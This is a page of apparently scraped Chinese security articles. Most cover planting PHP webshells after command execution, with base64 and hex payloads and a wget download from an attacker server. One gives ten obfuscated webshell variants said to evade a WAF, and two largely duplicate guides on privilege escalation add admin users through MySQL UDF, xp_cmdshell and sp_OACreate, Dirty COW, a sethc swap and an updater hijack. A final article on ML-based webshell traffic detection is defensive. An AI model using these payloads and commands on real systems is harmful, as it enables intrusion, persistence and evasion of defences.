命令执行写webshell总结 安全文章

命令执行写webshell总结

前言当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作。寻找web路径写webshell当然要写在web路径,第一步要做的就是快速寻找web路径1.文件查找法一般web路径一定会有index.htmlphpjspasp,login.xxx文件。可以根据已知页面文件名全局搜索linux:find / -name index.phpfind / -name index.*windows:for /r d:/ %i in (index.html) do @echo %ifor /r d:/ %i in (index.*) do @echo %i2.源码查找法也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找linux:find / -name "*.*" | xargs grep "PHP installed properly"find /var/www/ -name "*.php" | xargs grep "doServerTest()"windows:findstr /s/i/n /d:D:sec_tools /c:"html" *.htmlfindstr /s/i/n /d:C:windows /c:"success" *.*3.history等通过linux历史命令查找web相关的服务启动命令history | grep nginxhistory | grep tomcathistory | grep http写入webshell确认寻找到的路径有写入权限之后,就可以开始写webshell了1.echo直接写入echo '<?php eval($_POST); ?>' > 1.php直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽2.base64写入echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php使用base64是比较通用的方法,完美去除了webshell本身的特殊字符3.绕过重定向符echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bashecho "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式 http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/4.远端下载webshell远端服务器放置webshell,开启httppython -m http.server目标机器执行wget http://xx.xx.xxx.xx:8000/xxx.php可出网且有wget的情况下可采用此方式5.hex写入hex写入与base64写入相似,在 https://www.107000.com/T-Hex/将webshell编码成hex,使用xxd命令还原或在使用前将webshell使用xxd生成hex数据echo '<?php eval($_POST); ?>' |xxd -ps然后命令注入执行echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php作者:Leticia's Blog ,详情点击阅读原文。推荐阅读觉得不错点个“赞”、“在看”,支持下小编 本文始发于微信公众号(乌雲安全):命令执行写webshell总结
阅读全文
文库|PHP的Webshell绕过总结 安全文章

文库|PHP的Webshell绕过总结

高质量的安全文章,安全offer面试经验分享尽在 # 掌控安全EDU #作者:掌控安全-手电筒1.php的异或运算$a="~+d()"^"!{+{}"这个表示了$a=这两个字符串之间进行一个异或运算运算异或运算符,按二进制位进行异或运算这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码通过这个转换的方式来绕过检测<?php$a= ("!"^"@").'ssert';$a($_REQUEST);?>测试可以成功连接2.通过获取注释去绕过<?php/**YXNzZXJ0YmZnZmc=*/class Example{ public function fn() { }}通过一个空的类去获取,$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释$zhushi = substr(($reflector->getDocComment()), 7, 12);然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示//echo $zhushi;$zhushi = base64_decode($zhushi);$zhushi = substr($zhushi, 0, 6);echo $zhushi;foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; print_r($$_request); }}/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容*/$zhushi($_value);//最后就是assert(传入的变量值)?>原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell测试可以成功连接3.利用字符的运算符<?php $__="assers"; ++$__; //echo ++$__; $__($_REQUEST);?>设$__ 为字符串assers,然后对这个字符串进行自增操作这里++是直接对这个字符串里的最后一个字符进行自增操作,得到结果为assert然后去拼接($_REQUEST);,生成shell测试可以正常连接4.通过end函数代替<?php eval(end($_REQUEST));?>这里的end函数的作用是输出数组中当前元素和最后一个元素的值这里由于传参就一个,所以就直接输出我们传参的值,从而可以传入参数,这里就是我们传入参数相当于shell里的传参测试可以正常连接5.通过常量去绕过<?php define("a","$_GET");eval(a);?>这里的关键在于define函数,这个函数的作用是定义一个常量我们这里设置一个常量为a,它的值是$_GET,然后再去eval执行常量a,实际就是eval($_GET);,从而达到绕过的目的测试可以正常连接6.字符串拼接+双美元符<?php $a='ass'; $b='ert'; $funcName=$a.$b; $x='funcName';$$x($_REQUEST);?>这里通过把关键的assert进行分割,然后拼接再通过$$,利用可变变量去执行测试可以正常连接7.通过函数定义绕过<?phpfunction a($a){return $a;}eval(a($_REQUEST));?>这里设置一个用户自定义函数a,当里面有参数时,返回该参数的内容这里shell里的a($_REQUEST) 的实际效果为 a($_REQUEST)相当于是a($a),会返回$a的内容结果为$_REQUEST,最后一行的实际内容为eval($_REQUEST);测试可以正常连接8.通过类定义,然后传参分割<?phpclass User{ public $name = ''; function __destruct(){ eval("$this->name"); }}$user = new User;$user->name = ''.$_REQUEST;?>通过类定义,定义一个类User,设置$name为空,然后设置一个析构函数,脚本运行结束之前会调用对象,然后eval去执行,后面用new函数将对象实例化并输出方法,然后,$user->name这个相当于是$this->name,等于’’.$_REQUEST;最后$user->name = ‘’.$_REQUEST; 相当于eval($_REQUEST)测试可以正常连接9.多传参方式绕过<?php$COOKIE = $_COOKIE;foreach($COOKIE as $key => $value){ if($key=='assert'){ $key($_REQUEST); } }?>这里设置$cookie为获取的cookie传参,这里是个数组,然后通过foreach遍历,再进行键值分离,$key为键,$value为值然后进行一个if判断,当$key为assert时,$key拼接($_REQUEST); 达到生成shell效果测试可以正常连接10.通过get_defined_functions绕过<?php$a=get_defined_functions();$a($_GET);?>这个get_defined_functions函数作用是返回所有已定义的函数,包括内置函数和用户定义的函数,这里通过get_defined_functions得到所有函数,然后通过去访问并调用相应函数,然后后接($_GET),生成shell测试可以正常连接用安全狗进行检测以上方案里的均能过安全狗关于webshell绕过其实还有许多其他的办法,后续学习到了新方法会继续在本文的基础上做补充,再会!回顾往期内容Xray挂机刷漏洞POC批量验证Python脚本编写实战纪实 | SQL漏洞实战挖掘技巧渗透工具 | 红队常用的那些工具分享代码审计 | 这个CNVD证书拿的有点轻松    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!扫码白嫖视频+工具+进群+靶场等资料  扫码白嫖! 还有免费的配套靶场、交流群哦! 本文始发于微信公众号(掌控安全EDU):文库|PHP的Webshell绕过总结
阅读全文
【干货分享】超全的渗透测试提权思路 安全文章

【干货分享】超全的渗透测试提权思路

网安教育培养网络安全人才技术交流、学习咨询提权Webshell:尽量能够获取webshell,如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本;或者利用漏洞(系统漏洞,服务器漏洞,第三方软件漏洞,数据库漏洞)来获取shell。反弹shell:利用kali虚拟机msfVENOM编写反弹shell脚本被控制端发起的shell---通常用于被控制端因防火墙受限,权限不足、端口被占用开启监听:msfconsole模块监听响应的反弹shell脚本(当靶机点击脚本的时候),进入meterpreter模块,可以getsystem权限,获取信息等等,还可以开启远程服务功能(lcx,scocks5)Windows系统漏洞提权思路---windows(可执行文件:一种是.com;另一种.exe)系统溢出漏洞操作说明11、明确漏洞编号及版本22、明确漏洞利用平台及版本33、确保cmd执行权限正常运行44、确保服务器相关防护软件情况查看系统补丁,提权前期准备【前提已获取webshell】1方法一:输入shell进入到该主机的shell下,然后:systeminfo 查看系统详细信息2方法二:进入到 meterpreter 下,执行 run post/windows/gather/enum_patches 可以直接查看补丁情况3方法三:post/multi/recon/local_exploit_suggester 模块,用于快速识别系统中可能被利用的漏洞4方法四:WMIC命令也可以查看补丁数量5wmic qfe get Caption,Description,HotFixID,InstalledOn6也可以直接找是否存在某个cve-2018-8120对应的KB4131188补丁7wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"8方法五:Windows Exploit Suggester该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要目标系统的信息。通过msf生成反弹exe进行反弹操作,获取meterpreter通道监听获取成功后,进行exp的筛选探测可提取的模块use post/multi/recon/local_exploit_suggesterwindows系统漏洞示例根据systeminfo查看补丁信息,发现未打上相应的补丁kb952004、KB956572,于是利用上传巴西烤肉(Churrasco.exe)exp提权,Churrasco.exe是Windows2003系统下的一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。由于低权限用户无法执行太多操作,可以利用反弹上传Churrasco.exe,后续可以利用它来做提权。添加用户以及加入管理员组,方便我们提高操作权限。输入net user指令查看是否添加成功,最后提权成功。linux系统提权思路linux基础信息收集1uname -a 显示全部系统信息2cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版3cat /etc/passwd 所有人都可看4ps aux | grep root(1)#内核漏洞提权方法:通过信息收集方式得知linux内核版本使用searchspolit搜索相应版本漏洞例:searchsploit linux 4.0.0searchsploit Ubuntu 16.04searchsploit Ubuntu 16 kernel 3.10找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp, wget http://127.0.0.1/xx.c编译,gcc xxx.c -o exp(2)#SUID提权概念SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。特点SUID 权限仅对二进制程序有效执行者对于该程序需要有可执行权限(x权限)SUID 权限仅仅在程序执行过程中有效执行该程序时,执行者将具有该程序拥有者的权限首先在本地查找符合条件的文件,有以下三个命令列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件1find / -user root -perm -4000 -print 2>/dev/null2find / -perm -u=s -type f 2>/dev/null3find / -user root -perm -4000 -exec ls -ldb {} ;常用的可用于suid提权的文件1Nmap、Vim、find、Bash、More、Less、cp(3)#nmap提权较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。因此可以使用交互式控制台来运行具有相同权限的shell。方法一:启动交互模式,使用nmap --interactive!sh #执行之后将提供一个提权后的shell。方法二:Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。exploit/unix/local/setuid_nmap(4)#find提权实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。(5)#sudo提权sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。sudo 表示 “superuser do”。它允许已验证的用户以其他用户的身份来运行命令。其他用户可以是普通用户或者超级用户。然而,大部分时候我们用它来以提升的权限来运行命令。linux内核提权示例11.使用nc或lcx反弹到攻击者的电脑22.使用 uname –a 查看Linux 版本内核等系统信息33.在exploit库中寻找相应系统版本和内核的漏洞利用模块。(www.exploit-db.com)44.上传exp到目标服务器中,chmod 777赋予exp权限,需要进行编译的先进行编译。55.提权后便可以添加ssh用户 (useradd -o -u 0 -g 0 username)通过webshell上传ft.pl,为了等下的反弹shell系统信息收集Uname -a显示的版本内核为(2.6.24>2.6.22),可能存在脏牛漏洞ft.pl文件反弹shellKali开启监听编译dirty.c文件,生成一个可执行的EXP,运行./dirty su123(密码)生成账号firefart,密码su123新生成的管理员用户firefart把原来的root用户替换掉了(root--->firefart)可以通过ssh连接数据库提权思路数据库获取网站数据库的账号和密码--通过读取一些数据库配置文件数据库配置文件:命令规则(data、sql、inc、config、conn、database等)--通过mysql数据库的user表数据库安装文件:安装目录下data/mysql/user.myd1frm:描述表结构文件,字段长度2myi:索引信息3myd:数据库信息文件,存储数据信息(1)mysql数据库——udf提权udf文件:udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能udf文件后缀名: .dll(windows)linux后缀名:.so提权原理已知root账号和密码,利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用注意事项mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:windowssystem32。在windows2000放在:c:winntsystem32mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的libplugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。利用udf文件加载函数执行命令create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘导出的DLL路径’;select cmdshell('net user ndsec ndsecpw /add');select cmdshell('net localgroup administrators ndsec /add');drop function cmdshell;(2)#数据库提权——mof提权mof文件:mof文件是mysql数据库的扩展文件存放路径(C:/windows/system32/wbem/mof/nullevt.mof)其作用是每隔5秒就会去监控进程创建和死亡。提权条件1、windows2003及以下2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录3、secure-file-priv=不为null提权原理mof文件每5秒就会执行,而且是系统权限,我们可以通过load_file将文件写入/wbme/mof,然后系统每5秒就会执行一次我们上传的mofmof当中是一段vbs脚本,通过通过控制vbs脚本让系统执行命令,进行提权。(3)#数据库提权——反弹端口提权提权条件1、获取数据库的账号和密码,同时能够执行查询命令。2、secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin3、授权mysql数据库远程用户的登录(4)#数据库提权——启动项提权 (这种方法不推荐)提权原理使用mysql写文件,写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器重启提权条件secure_file_priv不为null已知账号和密码(5)linux系统-udf提权上传脚本进行监听靶机连接数据库查看版本1use mysql;2create table foo(line blob);3insert into foo values(load_file('/tmp/raptor_udf2.so'));4select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';5create function do_system returns integer soname 'raptor_udf2.so';6select do_system('chmod u+s /usr/bin/find');7find / -exec "/bin/sh" ;mssql数据库SA权限执行命令存储过程:xp_cmshell、sp_OACreate注册表存储过程:xp_regwrite存储过程其实质就是一个“集合”。它就是存储在sqlserver中预先定义好的“sql语句集合。”使用T-SQL语言编写好的各种小脚本共同组合成的集合体,我们就称为“存储过程”利用xp_cmdshell提权(1)xp_cmdshell解释Xp_cmdshell是sqlserver中的组件,可以以操作系统命令解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。可以用来执行系统命令(2)xp_cmdshell开启默认在sql server2000中是开启的,在sqlserver2005之后的版本默认禁止。如果我们有sa权限,可以用命令开启1exec sp_configure ‘show advanced options’ , 1;reconfigure;2exec sp_configure ‘xp_cmdshell’, 1;reconfigure;3xp_cmdshell 关闭4exec sp_configure 'show advanced options',1;reconfigure;5exec sp_configure 'ole automation procedures',0;reconfigure;6exec sp_configure 'show advanced options',0;reconfigure;7(3)当xp_cmdshell删除或出错的情况下,使用sp_OACreate组件开启组件SP_OACreate1exec sp_configure 'show advanced options',1;reconfigure;2exec sp_configure 'ole automation procedures',1;reconfigure;关闭组件SP_OACreate1exec sp_configure 'show advanced options',1;reconfigure;2exec sp_configure 'ole automation procedures',0;reconfigure;3exec sp_configure 'show advanced options',0;reconfigure;利用SP_OACreate添加用户提权1declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod [email protected],'run',null,'c:windowssystem32cmd.exe /c net user quan 123456 /add'3declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod [email protected],'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators quan /add'利用SP_OACreate的其他操作1sp_OACreate替换粘贴键2declare @o int3exec sp_oacreate 'scripting.filesystemobject', @o [email protected],'copyfile',null,'c:windowsexplorer.exe' ,'c:windowssystem32sethc.exe';5declare @o int6exec sp_oacreate 'scripting.filesystemobject', @o [email protected],'copyfile',null,'c:windowssystem32sethc.exe' ,'c:windowssystem32dllcachesethc.exe';(4)使用注册表存储过程:xp_regwriteudf提权示例(1)mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:windowssystem32。在windows2000放在:c:winntsystem32(2)mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的libplugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。(3)利用udf文件加载函数执行命令1```shell2create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘导出的DLL路径’;3select cmdshell('net user ndsec ndsecpw /add');4select cmdshell('net localgroup administrators ndsec /add');5drop function cmdshell;6```用蚁剑连接一句话木马,执行蚁剑的数据库功能模块(可以执行SQL语句),查看版本(5.5.53>5.1),udf.dll文件必须放置在mysql安装目录下的libplugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。在c:/phpStudy/MySQL/lib/目录下创建一个文件夹plugin,然后上传我们的udf.dll文件把udf.dll导出指定文件夹引入mysql,调用cmd函数的”udf.dll”查看当前用户,当前并无ndsec用户调用cmd创建用户,用户名为ndsec,密码为ndsecpw1net user ndsec ndsecpw /add添加用户ndsec进系统用户组1net user localgroup administrators ndsec /add删除cmd函数查看当前系统用户,发现添加用户成功,提权成功第三方软件提权思路第三方软件指的是该非线性编辑系统生产商以外的软件公司提供的软件,功能十分强大,有些甚至是从工作站转移过来的,可以这么说,非线性编辑系统之所以能做到效果变幻莫测,匪夷所思,吸引众人的视线,完全取决于第三方软件。第三方软件提权,就是利用第三方软件存在的漏洞来进行获取一个权限的操作。Sogou输入法提权示例由于搜狗输入法默认设置是自动更新(很少有人去更改这个设置),更新程序没有对exe做任何校验直接在输入法升级时调用运行,导致可以执行恶意代码。在获取webshell的前提下,在D盘下找到了搜狗的路径编辑一个PinyinUp的bat文件,通过转义软件编译成PinyinUp.exe,里面存放着恶意代码上传我们的PinyinUp.exe文件,把之前搜狗路径下的PinyinUp文件改个名字当用户更新词库的时候就会调用我们的PinyinUp.exe程序,然后生成用户密码添加成功‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍文:J01n原文链接:https://xz.aliyun.com/t/9902 版权声明:著作权归作者所有。如有侵权请联系删除开源聚合网安训练营战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!加QQ(1005989737)找小姐姐私聊哦精选文章环境搭建Python学员专辑信息收集CNVD安全求职渗透实战CVE高薪揭秘渗透测试工具网络安全行业神秘大礼包基础教程我们贴心备至用户答疑 QQ在线客服加入社群QQ+微信等着你我就知道你“在看” 本文始发于微信公众号(开源聚合网络空间安全研究院):【干货分享】超全的渗透测试提权思路
阅读全文
渗透测试中的提权思路 安全文章

渗透测试中的提权思路

提权Webshell:尽量能够获取webshell,如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本;或者利用漏洞(系统漏洞,服务器漏洞,第三方软件漏洞,数据库漏洞)来获取shell。反弹shell:利用kali虚拟机msfVENOM编写反弹shell脚本被控制端发起的shell---通常用于被控制端因防火墙受限,权限不足、端口被占用开启监听:msfconsole模块监听响应的反弹shell脚本(当靶机点击脚本的时候),进入meterpreter模块,可以getsystem权限,获取信息等等,还可以开启远程服务功能(lcx,scocks5)Windows系统漏洞提权思路---windows(可执行文件:一种是.com;另一种.exe)系统溢出漏洞操作说明1、明确漏洞编号及版本2、明确漏洞利用平台及版本3、确保cmd执行权限正常运行4、确保服务器相关防护软件情况查看系统补丁,提权前期准备【前提已获取webshell】方法一:输入shell进入到该主机的shell下,然后:systeminfo 查看系统详细信息方法二:进入到 meterpreter 下,执行 run post/windows/gather/enum_patches 可以直接查看补丁情况方法三:post/multi/recon/local_exploit_suggester 模块,用于快速识别系统中可能被利用的漏洞方法四:WMIC命令也可以查看补丁数量wmic qfe get Caption,Description,HotFixID,InstalledOn也可以直接找是否存在某个cve-2018-8120对应的KB4131188补丁wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"方法五:Windows Exploit Suggester该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要目标系统的信息。通过msf生成反弹exe进行反弹操作,获取meterpreter通道监听获取成功后,进行exp的筛选探测可提取的模块use post/multi/recon/local_exploit_suggesterwindows系统漏洞示例根据systeminfo查看补丁信息,发现未打上相应的补丁kb952004、KB956572,于是利用上传巴西烤肉(Churrasco.exe)exp提权,Churrasco.exe是Windows2003系统下的一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。由于低权限用户无法执行太多操作,可以利用反弹上传Churrasco.exe,后续可以利用它来做提权。添加用户以及加入管理员组,方便我们提高操作权限。输入net user指令查看是否添加成功,最后提权成功。linux系统提权思路linux基础信息收集uname -a 显示全部系统信息cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版cat /etc/passwd 所有人都可看ps aux | grep root(1)#内核漏洞提权方法:通过信息收集方式得知linux内核版本使用searchspolit搜索相应版本漏洞例:searchsploit linux 4.0.0searchsploit Ubuntu 16.04searchsploit Ubuntu 16 kernel 3.10找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp, wget http://127.0.0.1/xx.c编译,gcc xxx.c -o exp(2)#SUID提权概念SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。特点SUID 权限仅对二进制程序有效执行者对于该程序需要有可执行权限(x权限)SUID 权限仅仅在程序执行过程中有效执行该程序时,执行者将具有该程序拥有者的权限首先在本地查找符合条件的文件,有以下三个命令列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;常用的可用于suid提权的文件Nmap、Vim、find、Bash、More、Less、cp(3)#nmap提权较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。因此可以使用交互式控制台来运行具有相同权限的shell。方法一:启动交互模式,使用nmap --interactive!sh #执行之后将提供一个提权后的shell。方法二:Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。exploit/unix/local/setuid_nmap(4)#find提权实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。(5)#sudo提权sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。sudo 表示 “superuser do”。它允许已验证的用户以其他用户的身份来运行命令。其他用户可以是普通用户或者超级用户。然而,大部分时候我们用它来以提升的权限来运行命令。linux内核提权示例1.使用nc或lcx反弹到攻击者的电脑2.使用 uname –a 查看Linux 版本内核等系统信息3.在exploit库中寻找相应系统版本和内核的漏洞利用模块。(www.exploit-db.com)4.上传exp到目标服务器中,chmod 777赋予exp权限,需要进行编译的先进行编译。5.提权后便可以添加ssh用户 (useradd -o -u 0 -g 0 username)通过webshell上传ft.pl,为了等下的反弹shell系统信息收集Uname -a显示的版本内核为(2.6.24>2.6.22),可能存在脏牛漏洞ft.pl文件反弹shellKali开启监听编译dirty.c文件,生成一个可执行的EXP,运行./dirty su123(密码)生成账号firefart,密码su123新生成的管理员用户firefart把原来的root用户替换掉了(root--->firefart)可以通过ssh连接数据库提权思路数据库获取网站数据库的账号和密码--通过读取一些数据库配置文件数据库配置文件:命令规则(data、sql、inc、config、conn、database等)--通过mysql数据库的user表数据库安装文件:安装目录下data/mysql/user.mydfrm:描述表结构文件,字段长度myi:索引信息myd:数据库信息文件,存储数据信息(1)mysql数据库——udf提权udf文件:udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能udf文件后缀名: .dll(windows)linux后缀名:.so提权原理已知root账号和密码,利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用注意事项mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:windowssystem32。在windows2000放在:c:winntsystem32mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的libplugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。利用udf文件加载函数执行命令create function cmdshell returns string soname 'udf.dll';...
阅读全文
Webshell流量检测 安全文章

Webshell流量检测

一、前言Web安全是网络安全中的重要方向,随着Web服务的快速发展为网民带来便捷的同时,也暴露出越来越多的Web安全问题.现在主流的Web安全防护产品和设备很多都应用了人工智能算法,这是因为随着Web服务的多样化以及攻击者攻击手段的变化,仅仅依靠专家知识进行规则检测很难对安全威胁,进行全面的防护。Webshell后门攻击是Web安全中一种常见的攻击手段,攻击者通过在受害主机上留下恶意脚本,从而实现对受害主机的持续控制和攻击. 一般来说,Webshell主要分为三种类型,分别是大马、小马、一句话木马。而主流的Webshell检测方式也主要分为以下三种类型:基于Webshell流量的检测基于Webshell文件的检测基于日志分析检测Webshell三种不同的Webshell检测模式的总结如下:基于Webshell流量的检测主要是在流量中检测具备Webshell恶意行为特点的流量,适用于在线实时检测流量;对检测结果的精准度要求比较高。基于Webshell文件的检测主要是在主机上进行文件检测从而找出攻击者留下的Webshell后门文件,适用于主动对主机进行文件扫描并检测后门文件;基于日志分析检测Webshell主要是通过流量行为日志进行分析,关联用户行为等从而找出Webshell恶意攻击行为,适用于在离线情况下对攻击者进行溯源和攻击线索发现。本文主要是通过基于Webshell流量的检测方式对在线流量进行实时检测,利用机器学习技术找出流量中的Webshell异常行为,并通过实践应用的方式证明算法的可行性和有效性,找到了利用人工智能技术对Webshell流量进行检测的解决办法。二、Webshell流量检测模型学术界和业界对利用机器学习方式解决Webshell流量检测已有研究,一些常见的检测思路是利用Webshell流量的特点人工构建特征,采用监督学习算法对Webshell流量进行检测,实现对正常流量以及恶意流量的分类识别。在学术届现有的研究实验上,对Webshell流量的识别准确率可以达到90%以上。专家利用特征工程构建特征向量,从而对Webshell检测的思路固然可以检测到Webshell流量,但是仅仅依靠人工特征工程能够找到的特征需要持续维护升级,另一方面某些难以发现的Webshell特征通过人工特征工程可能难以找到。因此利用神经网络可以在流量数据中进行做特征提取,特征提取的目的是旨在找出流量中隐含的高级特征,实现对Webshell流量的检测。我们选择采用基于特征工程的机器学习模型(GBDT模型)结合神经网络模型(DNN模型)来构建检测Webshell流量的算法原型,检测过程分为两个模块分别是GBDT模型以及DNN模型。 建立GBDT模型阶段,首先利用专家知识针对Webshell特点进行特征提取,其主要特征覆盖一下几个方面:流量自身固有特征,例如payload长度,key-value数量,特征字符数量以及长度。系统命令执行相关函数,例如eval、chmod等。系统文件操作相关函数,例如fopen、fwrite等。隐蔽性很强的加解密函数等衍生方法,例如Base64编码,ROT13编码等。通过特征工程将流量中的信息进行向量化表示,将结果向量传递到监督学习模型中进行训练,训练好模型之后就可以用于对流量进行检测从而找出Webshell流量。建立DNN模型阶段,和建立GBDT模型一样的是都需要对流量数据进行文本预处理,这里包括数据编解码、过滤特殊字符以及分词等步骤,经过预处理之后的流量数据通过向量化传递到DNN神经网络中进行训练,训练好的神经网络模型用于后续的Webshell流量检测功能。建立好DNN模型和GBDT模型之后,将两个模型的预测结果进行模型融合,得到最终的检测结果,整体流程如下图所示图1 – Webshell流量检测流程实时检测到的流量会放到数据池中,等待Webshell流量检测模块处理,经过两个模型的预测和融合判断之后会将结果进行审核,检测到的有误Webshell流量会被用于后续的模型反馈继续学习。在模型选择阶段,我们对不同的机器学习模型在流量数据上进行了实验,几种不同的模型在precision以及recall上的表现相当,其中DNN模型以及GBDT模型表现更好,这也是在Webshell流量检测模块中选择使用GBDT模型以及DNN模型的重要原因。图2 – 机器学习模型Webshell检测效果对比通过以上利用机器学习算法的实践应用可以发现,利用人工智能技术能够有效的解决在流量中检测Webshell异常流量的问题,在一定程度上解决了基于专家知识的规则检测不准确以及更新修改规则复杂的问题。不过考虑到攻击者的攻击方法的变化以及网络环境的复杂性,研究人员依然需要解决在这些复杂场景中检测Webshell的问题,例如加密流量检测、Webshell文件检测等。三、总结与展望Webshell检测是Web安全防护的重要环节,安全人员为了在流量中检测到攻击者的恶意行为,既可以利用专家知识构建专家系统进行Webshell异常检测,也可以采用神经网络对流量内容进行检测,本文通过将两种方式进行结合,整合两种方法的优势实现Webshell流量检测机制。通过模型算法的应用实践证明了Webshell流量检测的有效性和可行性。在未来针对Webshell攻击检测以及Web安全防护的研究中,可以考虑将终端检测以及用户行为等多模态数据进行融合,实现更加准确高效的找到攻击者以及攻击行为。往期回顾(与该文章相关的往期公众号文章)【冰蝎全系列有效】针对HTTPS加密流量的webshell检测研究关于伏影实验室研究目标包括Botnet、APT高级威胁,DDoS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。内容编辑:伏影实验室 张胜军 